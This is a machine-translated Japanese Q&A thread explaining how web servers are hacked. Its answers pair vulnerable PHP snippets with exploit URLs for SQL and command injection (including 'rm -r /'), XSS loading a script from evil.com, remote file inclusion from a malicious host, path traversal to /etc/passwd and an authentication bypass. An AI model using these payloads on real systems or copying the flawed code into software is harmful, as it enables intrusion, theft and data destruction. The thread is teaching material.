web-dev-qa-db-ja.com

ハッキングはどのように機能しますか?

具体的には、Unixを実行するWebサーバーについて話しています。ハッカーがどのようにしてエントリポイントを取得するのか、私は常に興味を持っています。つまり、ハッカーがサーバーに入力する唯一の方法がURLである場合に、ハッカーがどのようにWebページにハッキングできるかはわかりません。ハッカーがURLを変更するだけでサーバーにアクセスする方法がわからないので、私は何かを見逃しているに違いありません。

エントリポイントとは、アクセスポイントを意味します。ハッカーがサーバーに侵入する方法

ハッカーがWebサーバーへのエントリポイントを作成する方法の例を教えてもらえますか?任意のC言語を使用できます。ハッキングの経験はまったくありません

簡単な例をいただければ幸いです。

98
user7360

URLを変更するだけで機能するハック

  • 1つの合法的で1つの悪意のある例
  • 一部の例では、URLエンコードが機能する必要があります(通常はブラウザーによって自動的に実行されます)

SQLインジェクション

コード:

$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

exploit(パスワードを知らずに管理者としてログイン):

example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--

クロスサイトスクリプティング(XSS)

コード:

$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";

exploit(ゾンビとしてユーザーを訪問する登録者 BeEF ):

example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />

リモートコード実行

コード(タイラーの例):

<? include($_GET["module"].".php"); ?>

exploit(任意のコードをダウンロードして実行):

example.com/?module=frontpage
example.com/?module=Pastebin.com/mymaliciousscript

コマンド注入

コード:

<?php
echo Shell_exec('cat '.$_GET['filename']);
?>

exploit(ルートディレクトリからすべてのファイルを削除しようとします):

example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /

コードインジェクション

コード:

<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>

exploit(画面に非常に有用な攻撃情報を出力するphpinfo()コマンドを挿入します):

example.com/?arg=1
example.com/?arg=1; phpinfo() 

LDAPインジェクション

コード:

<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>

エクスプロイト(管理者パスワードを知らずにログイン):

example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*

パストラバーサル

コード:

<?php
include("./" . $_GET['page']);
?>

エクスプロイト(/ etc/passwdを取得):

example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd

リダイレクト/フォワード攻撃

コード:

 <?php
 $redirectUrl = $_GET['url'];
 header("Location: $redirectUrl");
 ?>

exploit(ユーザーをあなたのページから邪悪なページに送ります):

example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php

URLアクセス制限の失敗

コード:

N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other 
means discover the location of content that should only be accessible while logged in.

エクスプロイト:

example.com/users/showUser.php
example.com/admins/editUser.php

クロスサイトリクエストフォージェリ

コード:

N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages. 

エクスプロイト:

Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />

バッファオーバーフロー(技術的にはURLにアクセスすることにより、ただしmetasploitで実装)

コード:

N/A. Vulnerability in the webserver code itself. Standard buffer overflow

エクスプロイト(Metasploit + meterpreter?):

http://www.exploit-db.com/exploits/16798/
189
Chris Dale

(現在)最も一般的な方法は、PHPアプリケーションの穴を通過することです。これが機能する方法は何十通りもありますが、ここでは単純で簡単な方法を示します。

疑いを持たないサイト所有者がhttp://example.com/site.php?module=xyzが実際に最初にテンプレートシェルをロードし、次に "xyz.php"を実行してコンテンツを埋めるように、コードのショートカットを取ることにしたと想像してください。だからおそらく彼はこのようなものを書いています:

<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>

その後、ハッカーは次のURLを使用してサイトにアクセスします。
http://example.com/site.php?module=http://malicio.us/evilprogram

ここで、彼のローカルスクリプトをロードする代わりに、PHPが出てhttp://malicio.us/evilprogram.phpをダウンロードし、それを実行します。PHP攻撃者が望むコードを実行します。おそらく、スパムの送信、バックドアシェルのインストール、構成ファイルでのパスワードの検索などです。

サイトをハッキングする方法は文字通り数千通りあり、それぞれ次のような斬新なものです。ほとんど普遍的に、彼らは彼らのプログラムへのすべての可能な入力と彼らが持つかもしれない予期しない影響について考えなかったプログラマーを含みます。

24
tylerl

それを見る方法は2つあります。サーバー自体に焦点を当てるか、サーバーが実行しているWebアプリケーションに焦点を当てるかです。

サーバーとして、サーバーに接続してサーバーにアクセスできるサービスを実行するポートを開くことができます。既知のエクスプロイトを使用することにより、ルートアクセスを取得できます。たとえば、Unixの一部のFTPサーバーには、ルートシェルを取得するために Metasploit などのツールを利用できる脆弱性があります。

アプリケーションとして、不十分に記述または構成されたアプリケーションを悪用する方法は多すぎます。たとえば、SQLクエリをGETとして渡す場合、実際にURL自体を操作して SQLインジェクション 攻撃と dump データベース全体を実行できます。例(サイトのコーディングに応じて): http://www.mydomain.com/products/products.asp?productid=12 UNION SELECTユーザー名、パスワードFROM USERS

繰り返しになりますが、あなたは大規模な主題に触れ、これらがあなたの次のステップに集中するのに役立つことを願っています。

11
schroeder

短い答え

これは正しい質問ではないかもしれません。

ハッカー...

...ソーシャルエンジニアです。

彼らは、コンピューターとのやり取りよりも、人とのやり取りに関心があります。ハッカーは、強引にパスワードを強制する必要があるよりも、むしろあなたに彼にあなたのパスワードを手渡すことを望みます。

...知識を求めています...

...そして知識が力であることを知っています。ハッカーは、実際にクレジットカード番号を取得するよりも取得することに関心があります

...道徳を言い訳として使う...

...原因ではありません。これが、多くのハッカーが道徳的な政治イベントを利用して公開する理由です。彼らは、道徳を使用して、公衆の目に自分の行動を許すことができることを知っています。

...彼が望んでいない限り、捕まることはありません。

ほとんどの時間。ステルスや匿名性を気にせずにすぐに飛び込みたいハッカーは、ハッキングコミュニティでは「スクリプトキディ」または「スキディ」として知られています。最も可能性が高いのは、ハッカーよりもはるかに多くのスキディがあり、それらはおそらくあなたの最大の不快感です。

...特別なツールやバックドアは必要ありません。

あなたが提供したフロントエンドはおそらく十分です。

長い答え

Metasploitのエクスプロイトから、必要なすべてを保護できます。ハッカーは正面玄関を通り抜けるだけです-事実上ではないにしても、文字通りです。

あなたが望む答え

私が(= /// =)与えた答えを人々がどのように嫌うのかを見て、それが適切であるように、私はあなたが望むものに沿ってもう少しあなたに何かを与えます。

ハッカーは匿名でいることを好みます。攻撃の最初のステップは、SOCKSプロキシ、ゾンビ、ボットネットを形成する単純なボットなど、ある種のプロキシのラインをつなぎ合わせることです。これにはいくつかの方法がありますが、議論のためにいくつかの死んだプロキシを取得しましょう。 Pastebin.com にアクセスして、8080を検索します。これはWebプロキシの一般的なポートです。 IPアドレスのリストが見つかるまで結果を下にスクロールし、クリックして結果を表示します。 Webプロキシの長いリストが必要です。私は、すべてではないにしても、ほとんどが死んでいることを保証できます。これはハッキングチュートリアルではありません。

次のステップは、ターゲットについて一見ささいな情報を収集することです。ハッカーは彼のプロキシを使用して、ポートスキャンを実行し、発見したサービスを調査します。ウェブサイトをお持ちですか?調べてみましょう。 MySQLサーバーをお持ちですか?それがどのバージョンか見てみましょう。 SSHを実行していますか?テキストパスワードを受け入れるか、証明書に限定されているかを確認してみましょう。

次に、ハッカーは座って、自分が集めたものを見て、システムの最も弱い点を決定します。システムのサイズによっては、プローブするものがまだ多く、十分な弱点を十分に獲得していないと感じた場合は、戻ってもう少しプローブする可能性があります。弱点は、真のセキュリティ「ホール」である必要はありません。それは、最も弱いリンクでなければなりません。たぶん、ハンマー攻撃(繰り返しログイン試行)から保護しないFTPサーバーを使用している可能性があります。たぶん、あなたはたくさんのフォームや潜在的に悪用可能なURLを持つWebサーバーを持っているでしょう。それらはさらに調査する価値があります。

必要な場合、攻撃者はスクリプトまたはプログラムを作成して最終的な攻撃を実行する可能性がありますが、常にそうであるとは限りません。ほとんどの弱点は既存のツールで悪用される可能性があるため、これは通常、現代のハッカーには不要です。ただし、ハッカーはソフトウェアの新しいセキュリティホールを発見することがあります。その場合、ハッカーはソフトウェアを悪用するために特別なツールを作成する必要がある場合があります。

露骨に明白な攻撃プログラムの良い例は、Terrariaと呼ばれるゲームのサーバーで問題を引き起こすために使用されるものです。これは本来の目的ではありませんでしたが、サーバーソフトウェアのさまざまなエクスプロイトを公開しているため、他のユーザーが使用する傾向があります。 C#で作成しました。ソースコードは GitHub で入手できます。エクスプロイトはバイトコード操作を使用して既存のクライアントを変更し、悪意のあるデータを送信します。サーバーはこのデータを予期せず、機能するように設計されていない方法で反応します。このようなエクスプロイトの発見は、ターゲットソフトウェアのリバースエンジニアリングと同じくらい簡単です。これは、C#やJavaなどの最新のリフレクティブ言語でますます簡単な作業になっているため、簡単に言えます。 .NET Reflector(有料)やdotPeek(現時点では無料)などのプログラムでは、ボタンをクリックするだけでこれが可能になります。十分に訓練されたC#プログラマは、コードを観察し、その機能を決定し、この機能を変更するプログラムを作成できます。

7
Zenexer

私の友人がサイトで働く契約を結んでいました。彼がそうしている間、彼はハッカーがウェブサイトに入り込み、彼が好きではないことをしたことに気づきました。いくつかのログファイルを調べた後、彼は「ハッカー」がmysqlエラーをグーグル検索してサイトを見つけたことに気付きました。

SQLを注入できる場合は、自分でアカウントを作成するなど、好きなことを行うことができます。ファイル(特にphp)をアップロードできる場合、それを実行できる可能性があります。これを実行できる場合は、linux/windowsサーバーにアカウントがない場合でも、サーバーファイルシステムのファイルの読み取り/書き込みなどの損傷を与える可能性があります。

別の手法は、データベースに侵入し、パスワードを確認することです(特に、ハッシュされていない場合)。サイトの同じIPアドレスへのsshまたはftp接続を確立してユーザーとパスワードの組み合わせを試すよりもです。

また、ハッキングするためにサーバーに侵入する必要はありません。知り合った人から、古いソフトウェアがサーバーにインストールされたという話がありました。攻撃者はそれを使用して独自のphpファイルをアップロードおよび実行し、1行のコード(iframeを追加するため)をすべてのindex.phpおよびindex.htmlファイルに挿入しました。基本的に誰もサイトにアクセスできませんでした。リダイレクトするか、多くのポップアップを表示しました。

4
user5575

パスワードのないログインや「ジョーズ」のログインについて何回読んだことがありますか?正面玄関に入るのにMetasploitの知識やエキゾチックなものは必要ありません。寒い朝の私道で走っている車のように「私を盗んでください」。

2
jl01

あなたが考慮すべきもう少しの例。

Tylerlの例に続いて:

<?php
   if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );
?>

攻撃ベクトル:

http://victimsite.com/?id=php://filter/read=convert.base64-encode/resource=includes/configure

これは、安全なコーディングがないためにbase64攻撃を含むローカルファイルであり、攻撃者は[.php]で終わるサイトまたはサーバー上のほとんどすべてのファイルを読み取ることができます。この場合、configure.phpのファイルコンテンツを読み取ります。 file、PHPは、ファイルのコンテンツ全体のbase64_encodeを返します。これは簡単にデコードして読み取り可能なテキストに戻すことができます。

ただし、不正なURLは、入力セキュリティ検証ホールを探す必要はありません。

多くのWebコマースサイトでは、$ PHP_SELFコードはyoursite.com/admin/administrators.phpのファイル名を誤って報告しますが、$ PHP_SELFはファイル名をadministrator.phpとして報告しますが、login.phpがadmin/administrators.php/loginのように追加された場合。 php、次に$ PHP_SELFは、administrators.phpではなく、login.phpをファイル名として誤って報告します。

したがって、たとえば、この畏敬の念を起こさせる例で管理セッションの検証に関する質問が行われた場合は、次のようになります。

*(有効な管理セッションではない)および($ PHP_SELF is not = to login.php)の場合、login.phpにリダイレクトします*

$ PHP_SELFが実際のファイル名を誤って報告しているため、ページがlogin.phpにリダイレクトされることはないため、攻撃者は正しい認証情報を必要とせずにadministrator.phpファイルにアクセスできます。

1
Taipo